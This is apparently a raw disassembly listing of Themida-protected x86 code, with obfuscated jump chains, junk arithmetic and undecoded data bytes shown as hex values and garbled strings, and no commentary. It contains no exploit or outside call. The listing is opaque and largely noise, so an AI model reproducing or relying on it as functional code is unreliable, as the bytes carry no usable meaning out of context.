		push	ebx
		mov	ebx, 1Ch
		sub	ebx, 732F159Fh
		add	ebx, edi
		add	ebx, 732F159Fh
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 11B52C45h
		sub	ebx, 17BE55C2h
		jmp	loc_560D9B
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0FFE640E9h, 240481FFh, 4, 6851525Fh,	669B0F3Dh, 0FFEBBCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556071:				; CODE XREF: Themida_:00556AE2j
		mov	ecx, 4C6433A0h
		push	esi
		mov	esi, 0E47017h
		dec	esi
		xor	esi, 78091939h
		or	esi, 27F550A3h
		dec	esi
		jmp	loc_55F36C
; ---------------------------------------------------------------------------
aYSA		db '╡y яИ',0Dh,'М',0
		align 4
		dd 9C2404FEh, 0FFB44AE9h, 240CFFFFh, 81240C8Bh,	4C4h, 56E1D100h
		dd 0F82B9C68h, 0F1295E15h, 59CB015Eh, 4C381h, 0E3E90000h
		dd 89000010h, 0E6B9240Ch, 8103BC6Ah, 1231DAE9h,	5802E92Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5560DA:				; CODE XREF: Themida_:005643C0j
		xor	edx, ebp
		xor	ebp, edx
		xor	edx, ebp
		not	ebp
		xchg	ebp, edx
		xchg	edx, [esp]
		push	dword ptr [esp]
		jmp	loc_551B8D
; ---------------------------------------------------------------------------

loc_5560EF:				; CODE XREF: Themida_:00552CEEj
		xor	edi, 2CA43423h
		push	esi
		mov	esi, 49F75701h
		or	edi, esi
		jmp	loc_5602C5
; ---------------------------------------------------------------------------
		dw 405h
		dd 5000000h, 4,	5C240487h, 0BD57BA2Dh, 68565525h, 163710C8h
		dd 7721E9h, 40E95D00h, 56000006h, 645DE9h
		db 0
; ---------------------------------------------------------------------------

loc_55612D:				; CODE XREF: Themida_:005669B9j
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		push	12F5348Ch
		jmp	loc_558FD8
; ---------------------------------------------------------------------------
byte_556141	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005512E0o
		dd 8B2434FFh, 0E957240Ch, 3BAAh
; ---------------------------------------------------------------------------

loc_556150:				; CODE XREF: Themida_:0055DFE6j
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_5514EB
; ---------------------------------------------------------------------------
a1sshg		db '1ИИhё',0
		align 2
		dw 0EC83h
		dd 24148904h, 164A20BAh, 0BFEA8118h, 81159533h,	7EE9A3C2h
		dd 5AD001FDh, 8B240487h, 0EB812424h, 14125457h,	55E9C329h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55619B:				; CODE XREF: Themida_:0055D5CEj
		add	eax, ebx
		add	eax, 723E4759h
		add	eax, 70652E0Ch
		pop	ebx
		jmp	loc_565DE1
; ---------------------------------------------------------------------------
aUsP		db 'UИя╞',0
		dw 8900h
		dd 0FB82404h, 35649E46h, 61F45473h, 784BE9h, 240C8900h
		dd 602D3D68h, 0CA31596Ah, 9206E9h, 2F750D00h, 0E8D13FE4h
		dd 0D624FA2Dh, 0CC7BE9F5h, 3487FFFFh, 6A35E924h
		db 2 dup(0)
aN1Sgc		db '╜1ьИg√',0           ; DATA XREF: Themida_:00551360o
		align 2
		dw 0E959h
		dd 0BB04h, 4C4815Dh, 0E9000000h, 142Dh,	4B0DEA81h, 66E904CBh
		db 8Eh,	2 dup(0)
byte_556213	db 0FFh			; DATA XREF: Themida_:005512D4o
		dd 34FF2434h, 2434FF24h, 0E3895358h, 0E904EC83h, 0FFFFBA04h
		dd 4C4815Eh, 8F000000h,	248B2404h, 1C606824h, 4890000h
		dd 0B2A9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556242:				; CODE XREF: Themida_:00552861j
		pop	edi
		sub	ebp, 4A2E2589h
		add	ebp, 5519DFE5h
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	esi, 4
		jmp	loc_560FC7
; ---------------------------------------------------------------------------
		db 0BDh
		dd 7C850592h, 835DEE89h, 48904ECh, 5882B824h, 0C6013243h
		dd 0CAB95158h, 81559442h, 6BBD35F1h, 59CE01AAh,	5607E6C1h
		dd 0E92414F7h, 0FFFFE21Bh
; ---------------------------------------------------------------------------

loc_556290:				; CODE XREF: Themida_:005588B2j
		not	edx
		jmp	loc_55A1FD
; ---------------------------------------------------------------------------

loc_556297:				; CODE XREF: Themida_:0055EE72j
		shr	ebp, 7
		push	ecx
		mov	ecx, 32444B34h
		sub	ebp, ecx
		pop	ecx
		shr	ebp, 1
		push	eax
		push	1D533610h
		pop	eax
		jmp	loc_55E598
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 24048B04h, 4C481h, 48F0000h,	3C895C24h, 0DC9BBF24h
		dd 0E6E94F0Bh, 89000012h, 0F9E9241Ch, 83FFFFDAh, 0EC8304E9h
		dd 240C8904h, 0D7AAE9h
		db 0
; ---------------------------------------------------------------------------

loc_5562E5:				; CODE XREF: Themida_:00560A8Aj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55D119
; ---------------------------------------------------------------------------
		db 68h,	0B1h, 1Fh
		dd 0ABE90000h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_556307:				; CODE XREF: Themida_:00562BFFj
		push	dword ptr [esp]
		pop	ebx
		push	eax
		push	esp
		jmp	loc_564CCE
; ---------------------------------------------------------------------------

loc_556312:				; CODE XREF: Themida_:00563EDAj
		mov	eax, [esp]
		jmp	loc_552FDF
; ---------------------------------------------------------------------------

loc_55631A:				; CODE XREF: Themida_:0055980Aj
		mov	ebp, eax
		jmp	loc_564A07
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 8124248Bh, 4C6h, 4EC8100h, 89000000h, 4B9240Ch, 81000000h
		dd 0E12376C6h, 53CE294Fh, 0E12376BBh, 5BDE294Fh, 4390E9h
		dd 4BB00h, 5C010000h, 5D5B0424h, 4C581h, 5D680000h, 0E900001Dh
		dd 0C639h
; ---------------------------------------------------------------------------

loc_55636C:				; CODE XREF: Themida_:0055A18Aj
		push	edx
		sub	esp, 4
		mov	[esp], edi
		push	7A804F3Eh
		pop	edi
		not	edi
		sub	edi, 3B89A202h
		jmp	loc_55AB4E
; ---------------------------------------------------------------------------

loc_556389:				; CODE XREF: Themida_:00566A03j
		add	ebp, edx
		pop	edx
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		pop	esp

loc_556393:				; CODE XREF: Themida_:00555A77j
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55F8A3
; ---------------------------------------------------------------------------
		db 0BEh
		dd 522725FBh, 395EC781h, 0F729689Ch, 395EEF81h,	0E95E689Ch
		dd 0A8F7h, 5A68F1F7h, 89000056h, 9C502414h, 0FFB116E9h
		dd 4C483FFh, 0C8BCB29h,	9CA9E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5563E2:				; CODE XREF: Themida_:0055FA56j
		mov	edi, eax
		jmp	loc_55487E
; ---------------------------------------------------------------------------
		align 2
		dw 80F5h
aAqfzI		db 'МqfZ,i',0
		db 0E8h
		dd 0C8B6904h, 4C48324h,	5366D828h, 5634E9h, 6444BE00h
		dd 0F029368Ah, 0E9F8015Eh, 4D7h
dword_556414	dd 0E92434FFh, 0C89Ah, 0E951C601h, 5588h ; DATA	XREF: Themida_:005512C0o
; ---------------------------------------------------------------------------

loc_556424:				; CODE XREF: Themida_:0055DF3Aj
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	74C5h
		mov	[esp], eax
		push	ebp
		push	12h
		jmp	loc_55512E
; ---------------------------------------------------------------------------
		dd 81D7F758h, 0E023B7F7h, 173D05F4h, 0B42D24B7h, 513DD32h
		dd 4E6B4D26h, 5778E9h
		db 0
; ---------------------------------------------------------------------------

loc_556459:				; CODE XREF: Themida_:0055DDACj
		sub	edi, 708870D1h
		mov	ecx, [esp]
		add	esp, 4
		pop	esi
		jmp	loc_55B994
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0E9F90100h, 6DA3h
; ---------------------------------------------------------------------------

loc_556478:				; CODE XREF: Themida_:00556D9Dj
		sub	ebx, 0EB80B410h
		jmp	loc_562321
; ---------------------------------------------------------------------------
aUxsR		db 'UXИ╠Ю',0
		align 2
a_s6		db '_И6р',0
		align 10h
aSIMsI		db ')пS╩"i>MИ',27h,'⌡',0
		dd 276FBF00h, 814F159Bh, 81410E7h, 0BD554F34h, 0F416C51h
		dd 0E95DEF01h, 0FFFFE015h, 40E2C5Bh, 28B80489h,	51B82CD8h
		dd 45E97EB1h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5564CB:				; CODE XREF: Themida_:00559803j
		mov	esp, [esp]
		push	eax
		mov	eax, 67813161h
		add	eax, 278E306Eh
		push	ebp
		mov	ebp, 78F22D40h
		not	ebp
		sub	ebp, 0F7FE70F4h
		sub	eax, ebp
		pop	ebp
		add	esi, eax
		pop	eax
		add	esi, 2
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_564FF5
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4, 815EF201h, 4C2h, 24148700h, 0CFEE815Ch, 11AE17Ah
		dd 0CFC681C6h, 0E91AE17Ah, 0AAD2h
; ---------------------------------------------------------------------------

loc_556520:				; CODE XREF: Themida_:005628B1j
		neg	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		dec	edi
		shl	edi, 1
		jmp	loc_55DC02
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 0E95A0000h, 24EFh
; ---------------------------------------------------------------------------

loc_556540:				; CODE XREF: Themida_:00559196j
		pop	ebp
		mov	edi, eax
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		and	ecx, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		push	eax
		jmp	loc_55F75B
; ---------------------------------------------------------------------------
		db 66h,	81h, 0E5h
		dd 81660261h, 66D36CEDh, 510FC281h, 66EA2966h, 510FEA81h
		dd 9A55E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556576:				; CODE XREF: Themida_:00554F05j
		dec	ecx
		and	ecx, 30B42C2Dh
		jmp	loc_555364
; ---------------------------------------------------------------------------
		dw 0D5F7h
		dd 4594C581h, 0EE293B9Eh, 81C6015Dh, 0B3236BC6h, 0C681586Ah
		dd 2, 8B243487h, 31662424h, 0E99C2404h,	0FFFFAF3Fh, 6E04D024h
		dd 0C130CE04h, 8324048Bh, 0CB8804C4h, 64D3E9h
		db 0
byte_5565C1	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00551390o
		dd 6659669Dh, 9C241CD3h, 0FFAF1AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5565D1:				; CODE XREF: Themida_:0055EEF3j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_55361C
; ---------------------------------------------------------------------------
		db 80h
		dd 0D988D8C3h, 0FFF097E9h, 4C681FFh, 81000000h,	4ECh, 24148900h
		dd 7A13E9h
		db 0
; ---------------------------------------------------------------------------

loc_5565FD:				; CODE XREF: Themida_:0055A434j
		push	esi
		mov	esi, 4130779Bh
		mov	edx, esi
		jmp	loc_554DA4
; ---------------------------------------------------------------------------

loc_55660A:				; CODE XREF: Themida_:005576BBj
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_566284
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 8F000000h, 0E95C2404h, 0BFD3h, 53D1F75Eh, 0D36198BBh
		dd 14F75317h, 5B22E924h, 24890000h, 24048124h, 4, 582434FFh
		dd 20E7E9h, 246C0100h, 0BB535D04h, 6E247BC4h, 7BE9E9h
		dd 5C076800h, 2C890000h, 63A2BD24h, 6C2944E9h, 0E95D0824h
		dd 0F8F1h, 8B242C33h, 0C4812424h, 4, 9C240421h,	0FFAE66E9h
		dd 4EA81FFh, 52000000h,	42474FFh, 0FFC14DE9h, 67BBAFFh
		dd 12E96459h, 5A00008Fh, 8058C288h, 5066B4F2h, 0C220B8B0h
		dd 0FEEEE9h, 5EBC000h, 5334C380h, 4B94E9h, 77E78100h, 8132930Fh
		dd 7F5350C7h, 0FFFB01F1h, 3C8B2434h, 10F4E924h,	0C3810000h
		dd 2568CAh, 101EEE9h, 51B85000h, 402E3964h, 39644E2Dh
		dd 70ACE92Eh, 895C0000h, 0EC832404h, 241C8904h,	881EB252h
		dd 0EC815AD7h, 2, 240C8966h, 935CE9h
		db 0
; ---------------------------------------------------------------------------

loc_556711:				; CODE XREF: Themida_:00560984j
		mov	dl, 2Ch
		jmp	loc_55B339
; ---------------------------------------------------------------------------

loc_556718:				; CODE XREF: Themida_:005600D4j
		add	esp, 4
		mov	eax, [esp]
		push	edi
		jmp	loc_55CD72
; ---------------------------------------------------------------------------
		db 0BDh
		dd 36111C2Ah, 77BA6850h, 5583C6Dh, 43F63B90h, 0D0F7D8F7h
		dd 846AE9h
		db 0
; ---------------------------------------------------------------------------

loc_556741:				; CODE XREF: Themida_:00561128j
		not	edx
		sub	edx, 5C965B14h
		push	esi
		mov	esi, 508111FEh
		jmp	loc_562F1A
; ---------------------------------------------------------------------------
		dd 84FDED81h, 0BE9DF1Ah, 5F00005Dh, 6FE9E829h, 680000B3h
		dd 563Dh, 0FF241489h, 0FF042474h, 685A2434h, 388Ah, 51242C89h
		dd 0C181E189h, 4, 8123E950h, 0E5890000h, 7A8CE956h, 88500000h
		dd 58E388F4h, 1C8BD988h, 4C48124h, 8B000000h, 0C4832414h
		dd 0B6526604h, 2D47E92Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5567B6:				; CODE XREF: Themida_:00558DF7j
		sub	esi, 0FFFFFFFFh
		neg	esi
		add	esi, 7EB7928h
		push	eax
		mov	eax, 6D1C34AFh
		jmp	loc_55E28A
; ---------------------------------------------------------------------------

loc_5567CF:				; CODE XREF: Themida_:0055D9C4j
		xchg	edi, [esp]
		pop	esp
		xor	esi, 37625D43h
		shl	esi, 7
		neg	esi
		sub	esi, 1
		push	edi
		mov	edi, 574B2943h
		sub	edi, 6AF444C6h
		xor	edi, 0BDB1A2DEh
		jmp	loc_55B179
; ---------------------------------------------------------------------------
		db 2Ch
		dd 13BE9A2h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556802:				; CODE XREF: Themida_:00558136j
		sub	eax, 713B034Eh
		sub	eax, 18A468F5h
		jmp	loc_551967
; ---------------------------------------------------------------------------
		db 0C1h, 0E7h, 8
		dd 7850EF81h, 0B6E97571h, 5FFFFC3h, 1DC84C6Eh, 8904EC83h
		dd 85BA2414h, 0E96DF166h, 0CCB3h, 7BFEE981h, 0D1013B48h
		dd 7BFEC181h, 0FAE93B48h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_556847:				; CODE XREF: Themida_:0055DCF3j
		push	34AFh
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_55A45D
; ---------------------------------------------------------------------------
aXau9		db 'X─Н9',0
aA9ssd		db 'н─ф9ИИ└',0
		db 0
; ---------------------------------------------------------------------------

loc_556877:				; CODE XREF: Themida_:00561FCEj
		add	edi, 33D396Ch
		jmp	loc_557812
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 489D01BAh, 83242C8Bh, 8EE904C4h
		db 0DCh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_556893:				; CODE XREF: Themida_:00552DBCj
		add	esp, 4
		sub	ecx, 74A13F9Ch
		jmp	loc_555B22
; ---------------------------------------------------------------------------
		dd 0E924048Fh, 0A801h, 0EA80C2FEh, 0A228E9CFh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5568B6:				; CODE XREF: Themida_:00563FC9j
		mov	dh, 0C0h
		shl	dh, 8
		push	ecx
		mov	ch, 0B1h
		jmp	loc_55C691
; ---------------------------------------------------------------------------
		db 1
		dd 5E042474h, 0E9E18951h, 3AD2h, 94ED814Dh, 8141A045h
		dd 243D95C5h, 0B189E971h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5568E2:				; CODE XREF: Themida_:00554262j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5611D1
; ---------------------------------------------------------------------------
		db 56h
		dd 7520BF57h, 5BBE4764h, 315B902Fh, 82CBE9FEh, 74FF0000h
		dd 7FE90424h
		db 0EAh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_556907:				; CODE XREF: Themida_:0055339Aj
		shl	edx, 6
		jmp	loc_553F47
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 81000000h,	4C2h, 2D95E900h, 2C330000h, 242C3124h
		dd 5C242C33h, 0FFF4BDE9h, 0C1D2F7FFh, 0D2F704E2h, 2EA2E9h
		dd 4F10C00h, 59E828B0h,	0DD048124h, 0F02C7B2Ch,	0E958C688h
		dd 0B6D6h, 4EC81h, 0F6E90000h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55695F:				; CODE XREF: Themida_:005528DFj
		pop	esi
		add	esp, 4
		add	edi, edx
		jmp	loc_555DB5
; ---------------------------------------------------------------------------
		db 48h,	0F7h, 0D8h
		dd 0D103E0C1h, 0DCB951E8h, 53232D05h, 2C1697BBh, 0F662E934h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556986:				; CODE XREF: Themida_:00552101j
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55B220
; ---------------------------------------------------------------------------
		db 31h,	0C7h, 58h
		dd 9C0C781h, 0EF814E04h, 0A86DC149h, 15FF829h, 53A605D8h
		dd 432D1343h, 0E9234177h, 0FFFFDBD5h, 2171B3BBh, 250DE93Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5569C2:				; CODE XREF: Themida_:005622EBj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 670C1253h
		and	esi, ebx
		pop	ebx
		xor	esi, 87ADC317h
		sub	edi, esi
		pop	esi
		add	ecx, edi
		mov	edi, [esp]
		jmp	loc_5538D6
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 241C8904h, 758AE9h, 0B0EC8000h, 8058E608h, 0B252C4EEh
		dd 0D4EA8084h, 0FFDAE6E9h, 4C483FFh, 0D935E95Bh, 0D101FFFFh
		dd 0E289525Ah, 87A0E9h,	81E68900h, 4C6h, 3756E900h, 0E9510000h
		dd 331h, 5C240C87h, 0FFAAB6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556A35:				; CODE XREF: Themida_:0055BDB6j
		pop	ebx
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		jmp	loc_5618E8
; ---------------------------------------------------------------------------
		dd 0F828AC2Ch, 0FFF492E9h, 240489FFh, 0BE34E9h,	242C8900h
		dd 42474FFh, 81242C8Bh,	4C4h, 0FE3AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556A6A:				; CODE XREF: Themida_:00559749j
		xor	eax, ecx
		jmp	loc_554A1A
; ---------------------------------------------------------------------------
		db 0BDh, 68h, 22h
		dd 0E5C17F82h, 7204E908h, 0C3FE0000h, 8001C380h, 0DA204BC3h
		dd 6EAC05Bh, 81D8F280h,	4ECh, 24048900h, 0F6D5B551h, 2FED80DDh
		dd 0E959EC88h, 2497h
; ---------------------------------------------------------------------------

loc_556AA8:				; CODE XREF: Themida_:0055E75Ej
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55CCB5
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 14D76824h, 4890000h,	3FE7E924h
		db 2 dup(0)
aFnssA		db 'f╜SИиA',0           ; DATA XREF: Themida_:005513B0o
		align 2
		dw 489h
aAC		db '$╢л─Л≈',0
aSs_0		db 'АИ~:',0
		db 0
; ---------------------------------------------------------------------------

loc_556AE1:				; CODE XREF: Themida_:00558779j
		push	ecx
		jmp	loc_556071
; ---------------------------------------------------------------------------
byte_556AE7	db 68h			; DATA XREF: Themida_:005513ECo
		dd 6B55h, 55240C89h, 349868h, 0F0A5E900h, 52660000h, 0C380EBB2h
		dd 0EDC2E92Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556B06:				; CODE XREF: Themida_:00560D2Fj
		jz	loc_5559D9
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55B7F6
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4BE5604h, 0E9000000h, 0F947h, 6541B850h, 69E91C0Ah
		dd 0F7000016h, 281905D8h, 0C6896A2Dh, 24740158h, 148B5E04h
		dd 4C48124h, 68000000h,	608Ch, 53240489h, 10EBB850h, 5D356A32h
		dd 8969D123h, 4EB858C3h, 1FC1CCCh, 0A9D9E9D8h, 0EDC0FFFFh
		dd 0E9536603h, 814Ah
; ---------------------------------------------------------------------------

loc_556B78:				; CODE XREF: Themida_:0055E881j
		push	ecx
		mov	ch, 6Dh
		neg	ch
		jmp	loc_558AC0
; ---------------------------------------------------------------------------
aHS		db '╦H',9,';',1Bh,'Ин╟',0
		align 4
		dd 485EF031h, 0CF0AA135h, 8BC2012Bh, 0C7E92404h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_556B9F:				; CODE XREF: Themida_:0055406Fj
		sub	[esp], edi
		pop	edi
		add	edi, 7C2E5B67h
		add	edi, 0DCD14370h
		sub	esi, edi
		pop	edi
		add	ecx, esi
		jmp	loc_5607B4
; ---------------------------------------------------------------------------
		db 43h,	81h, 0EBh
		dd 0AC2E7027h, 1C8BD901h, 4C48124h, 58000000h, 8B240C87h
		dd 83522424h, 0F2E904ECh
		db 0BDh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_556BDB:				; CODE XREF: Themida_:00558FE7j
		push	45265B65h
		jmp	loc_559BB9
; ---------------------------------------------------------------------------

loc_556BE5:				; CODE XREF: Themida_:00560A26j
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		sub	[esp], al
		pushf
		jmp	loc_5514EB
; ---------------------------------------------------------------------------
		db 66h
		dd 2404B30Fh, 0A8EDE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556BFE:				; CODE XREF: Themida_:0055C473j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_555097
; ---------------------------------------------------------------------------

loc_556C1F:				; CODE XREF: Themida_:0055F1F4j
		mov	eax, [esp]
		jmp	loc_554777
; ---------------------------------------------------------------------------
		db 59h
		dd 151DE9h, 8EAC000h, 8904EC83h, 0E788241Ch, 0FA88D488h
		dd 5FE8E9h
		db 0
; ---------------------------------------------------------------------------

loc_556C41:				; CODE XREF: Themida_:0055C608j
		not	edx
		sub	edx, 57B13A39h
		mov	ebp, edx
		pop	edx
		inc	ebp
		or	ebp, 677652D7h
		jmp	loc_55A7B3
; ---------------------------------------------------------------------------
		dd 5C240487h, 0FFA88AE9h, 50C331FFh, 3052E9h, 5BD88900h
		dd 158C331h, 81595BDDh,	4C5h, 0BE8DE900h, 525B0000h, 0F3ADE9h
		db 0
; ---------------------------------------------------------------------------

loc_556C85:				; CODE XREF: Themida_:005572FDj
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55F3C7
; ---------------------------------------------------------------------------

loc_556C8E:				; CODE XREF: Themida_:00558F8Aj
		mov	edi, 2E587A19h
		shr	edi, 8
		jmp	loc_55D25F
; ---------------------------------------------------------------------------
		db 31h
		dd 4332404h, 2CD35C24h,	40E99C24h, 58FFFFA8h, 454E68h
		dd 24048900h, 0FFFEC9E9h, 241C31FFh, 5C241C33h,	24148966h
		dd 0E99C5066h, 0D6h, 59CD295Dh,	4BE5659h, 1000000h, 24348BF5h
		dd 3E0D68h, 24348900h, 0C681E689h, 4, 0B26FE9h
		db 0
byte_556CF1	db 0ACh, 2Ch, 3Fh	; DATA XREF: Themida_:005513E0o
		dd 8904EC83h, 0B450240Ch, 9CE9506Fh
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_556D03:				; CODE XREF: Themida_:0055176Bj
		pop	ebx
		sub	al, 0Ch
		jmp	loc_55B395
; ---------------------------------------------------------------------------
		dd offset dword_457444+4BC24h
		align 10h
aI4Icspi	db '┴4$┴ФИp╗',0
		align 2

loc_556D1A:				; CODE XREF: Themida_:0055A203j
		push	ebx
		jmp	loc_55B5D4
; ---------------------------------------------------------------------------
		dd 81242C8Bh, 4C4h, 0AEC5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556D2E:				; CODE XREF: Themida_:00565671j
		push	69A3h
		mov	[esp], edx
		mov	edx, 13D16D9Ah
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 13D16D9Bh
		mov	ebp, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	ebp, 6B3B1204h
		jmp	loc_562B6C
; ---------------------------------------------------------------------------
aRRaHsmm	db 'R╤░─фHИm▄',0
		align 4
		dd 0C181E189h, 4, 0D71DE9h
		db 0
; ---------------------------------------------------------------------------

loc_556D75:				; CODE XREF: Themida_:00554DDEj
		mov	ebp, [esp]
		push	esi
		jmp	loc_55F19C
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 512F10F0h, 8158C329h, 957D24EBh, 7ED7686Bh, 24E90000h
		db 0CFh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_556D97:				; CODE XREF: Themida_:00566C6Bj
		push	ebx
		mov	ebx, 46ED45FEh
		jmp	loc_556478
; ---------------------------------------------------------------------------
		dw 44E9h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556DA7:				; CODE XREF: Themida_:00563467j
		inc	esi
		xor	esi, 3AA16BDEh
		add	ecx, esi
		mov	esi, [esp]
		jmp	loc_5576DE
; ---------------------------------------------------------------------------
		dd 0E95DEF01h, 0AA2h
; ---------------------------------------------------------------------------

loc_556DC0:				; CODE XREF: Themida_:0055352Cj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_55976E
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 0E904C183h, 0FFFFFC48h
dword_556DE4	dd 9D1C77FFh, 1CD25966h, 0F8E99C24h, 51FFFFA6h,	4B9h, 0CCF2E900h
					; DATA XREF: Themida_:005512F4o
		db 2 dup(0)
aLShs		db '▀$$ИH≤',0           ; DATA XREF: Themida_:00551380o
		align 2

loc_556E06:				; CODE XREF: Themida_:0055A6DCj
		mov	[esp], edi
		push	esi
		mov	esi, 7A1F4A49h
		xor	[esp+4], esi
		pop	esi
		jmp	loc_553230
; ---------------------------------------------------------------------------
		db 89h,	0FAh, 5Fh
		dd offset dword_4EC14C+135h
		dd 0C3813018h, 1B7903BCh, 0BD55D301h, 5E411740h, 6C19C581h
		dd 0DDF77590h, 31F8E9h
		db 0
; ---------------------------------------------------------------------------

loc_556E3D:				; CODE XREF: Themida_:0055181Aj
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		push	esi
		mov	esi, 25E24346h
		shr	esi, 4
		jmp	loc_560D34
; ---------------------------------------------------------------------------
dword_556E54	dd 0B60F6664h, 85E6802h, 0CDE90000h, 1FFFFD1h, 0CE815BDEh
					; DATA XREF: Themida_:005512BCo
		dd 4B034EF6h, 7AB0F681h, 0E6817A14h, 647819F1h,	34FFF681h
		dd 44E94017h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556E83:				; CODE XREF: Themida_:00553A9Fj
		add	esp, 4
		push	4B5Dh
		mov	[esp], ecx
		mov	ecx, 3C917D5Ch
		and	esi, ecx
		pop	ecx
		sub	esi, 327C5FF1h
		push	4B7Fh
		mov	[esp], edx
		push	ecx
		mov	ecx, 49F938AEh
		jmp	loc_562440
; ---------------------------------------------------------------------------

loc_556EB2:				; CODE XREF: Themida_:00557ABEj
		pop	eax
		jmp	loc_560778
; ---------------------------------------------------------------------------
		dd 4CFEC381h, 6CE90BD6h, 0BB0000ADh, 5B086438h,	8245C01h
		dd 2444015Bh, 0EBD8E904h, 0C129FFFFh, 240C8758h, 8924248Bh
		dd 0BD552404h, 0CAE7EC8h, 173ABF57h, 0F79713A1h, 0C105E9D0h
		dd 0B1510000h, 0C0C1FEB4h, 0B05004E9h, 58C128A4h, 80FFE980h
		dd 0CB30EFC1h, 47916859h, 14890000h, 0C2B05024h, 7071E9h
		db 0
; ---------------------------------------------------------------------------

loc_556F1D:				; CODE XREF: Themida_:0055B42Fj
		mov	esi, 96C5FEC8h
		add	ecx, esi
		pop	esi
		and	eax, ecx
		jmp	loc_556021
; ---------------------------------------------------------------------------
		dd 7972F681h, 524E53F4h, 3753C0BAh, 5AD60911h, 8104EEC1h
		dd 0EB52A0EEh, 5EF229E5h, 134EE9h, 0C4835E00h, 8BF80104h
		dd 0C481243Ch, 4, 5C12222Dh, 2321E915h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556F66:				; CODE XREF: Themida_:0055FA9Ej
		add	esp, 4
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_554F70
; ---------------------------------------------------------------------------
		dd 80CAEA80h, 0E950D2C2h, 7EF7h
; ---------------------------------------------------------------------------

